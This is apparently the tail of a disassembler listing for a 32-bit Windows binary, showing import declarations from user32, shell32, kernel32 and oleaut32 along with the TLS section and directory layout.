; int __stdcall	LoadStringA_0(HINSTANCE	hInstance, UINT	uID, LPSTR lpBuffer, int cchBufferMax)
		extrn __imp_LoadStringA_0:dword	; DATA XREF: LoadStringA_0r
; int __stdcall	GetSystemMetrics(int nIndex)
		extrn __imp_GetSystemMetrics:dword ; DATA XREF:	GetSystemMetricsr
; LPSTR	__stdcall CharNextA_0(LPCSTR lpsz)
		extrn __imp_CharNextA_0:dword ;	DATA XREF: CharNextA_0r
; BOOL __stdcall CharToOemA(LPCSTR pSrc, LPSTR pDst)
		extrn __imp_CharToOemA:dword ; DATA XREF: CharToOemAr

;
; Imports from shell32.dll
;
; HINSTANCE __stdcall ShellExecuteA(HWND hwnd, LPCSTR lpOperation, LPCSTR lpFile, LPCSTR lpParameters, LPCSTR lpDirectory, INT nShowCmd)
		extrn __imp_ShellExecuteA:dword	; DATA XREF: ShellExecuteAr

;
; Imports from kernel32.dll
;
; void __stdcall Sleep(DWORD dwMilliseconds)
		extrn __imp_Sleep:dword	; DATA XREF: Sleepr

;
; Imports from oleaut32.dll
;
; HRESULT __stdcall SafeArrayPtrOfIndex(SAFEARRAY *psa,	LONG *rgIndices, void **ppvData)
		extrn __imp_SafeArrayPtrOfIndex:dword ;	DATA XREF: SafeArrayPtrOfIndexr
; HRESULT __stdcall SafeArrayGetUBound(SAFEARRAY *psa, UINT nDim, LONG *plUbound)
		extrn __imp_SafeArrayGetUBound:dword ; DATA XREF: SafeArrayGetUBoundr
; HRESULT __stdcall SafeArrayGetLBound(SAFEARRAY *psa, UINT nDim, LONG *plLbound)
		extrn __imp_SafeArrayGetLBound:dword ; DATA XREF: SafeArrayGetLBoundr
; SAFEARRAY *__stdcall SafeArrayCreate(VARTYPE vt, UINT	cDims, SAFEARRAYBOUND *rgsabound)
		extrn __imp_SafeArrayCreate:dword ; DATA XREF: SafeArrayCreater
; HRESULT __stdcall VariantChangeType(VARIANTARG *pvargDest, const VARIANTARG *pvarSrc,	USHORT wFlags, VARTYPE vt)
		extrn __imp_VariantChangeType:dword ; DATA XREF: VariantChangeTyper
; HRESULT __stdcall VariantCopy(VARIANTARG *pvargDest, const VARIANTARG	*pvargSrc)
		extrn __imp_VariantCopy:dword ;	DATA XREF: VariantCopyr
; HRESULT __stdcall VariantClear(VARIANTARG *pvarg)
		extrn __imp_VariantClear:dword ; DATA XREF: VariantClearr
; void __stdcall VariantInit(VARIANTARG	*pvarg)
		extrn __imp_VariantInit:dword ;	DATA XREF: VariantInitr

; Section 5. (virtual address 00017000)
; Virtual size			: 0000000C (	 12.)
; Section size in file		: 00000000 (	  0.)
; Offset to raw	data for section: 00013C00
; Flags	C0000000: Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Regular
; Segment permissions: Read/Write
_tls		segment	para public '' use32
		assume cs:_tls
		;org 20017000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
TlsStart	dd 3 dup(?)		; DATA XREF: .rdata:TlsDirectoryo
TlsEnd		dd 7Dh dup(?)		; DATA XREF: .rdata:TlsEnd_ptro
_tls		ends

; Section 6. (virtual address 00018000)
; Virtual size			: 00000018 (	 24.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00013C00
; Flags	50000040: Data Shareable Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 20018000h
TlsDirectory	dd offset TlsStart
TlsEnd_ptr	dd offset TlsEnd
TlsIndex_ptr	dd offset TlsIndex
TlsCallbacks_ptr dd offset TlsSizeOfZeroFill
TlsSizeOfZeroFill dd 0			; DATA XREF: .rdata:TlsCallbacks_ptro
TlsCharacteristics dd 0
		align 200h
_rdata		ends


		end start